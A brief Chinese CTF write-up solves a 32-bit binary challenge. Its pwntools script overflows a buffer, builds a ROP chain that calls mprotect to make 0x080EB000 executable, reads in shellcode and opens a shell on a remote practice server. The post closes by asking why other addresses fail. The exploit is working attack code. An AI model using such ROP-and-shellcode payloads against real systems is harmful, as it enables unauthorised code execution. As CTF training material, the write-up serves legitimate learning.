这道题和前面分析过的get_started_3dsctf_2016差不多,换汤不换药。
选择一个地址0x080EB000,用来装shellcode。这个地址要改成可执行的。使用mprotect函数改变。
解题代码:
from pwn import *
#p=process("./not")
p=remote("node3.buuoj.cn",29607)
elf=ELF("./not")
read=elf.symbols["read"]
mprotect=elf.symbols["mprotect"]
memaddr=0x080EB000
pop3=0x08063b9b
payload=b'A'*0x2D+p32(mprotect)+p32(pop3)+p32(memaddr)+p32(0x100)+p32(0x7)
payload+=p32(read)+p32(memaddr)+p32(0)+p32(memaddr)+p32(0x100)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
不过,有个问题没整明白,就是为啥非得选中0x080EB000装shellcode?我试了试.got.plt,.bss的其他地址,都不成功。
如果你知道,一定告诉我哟~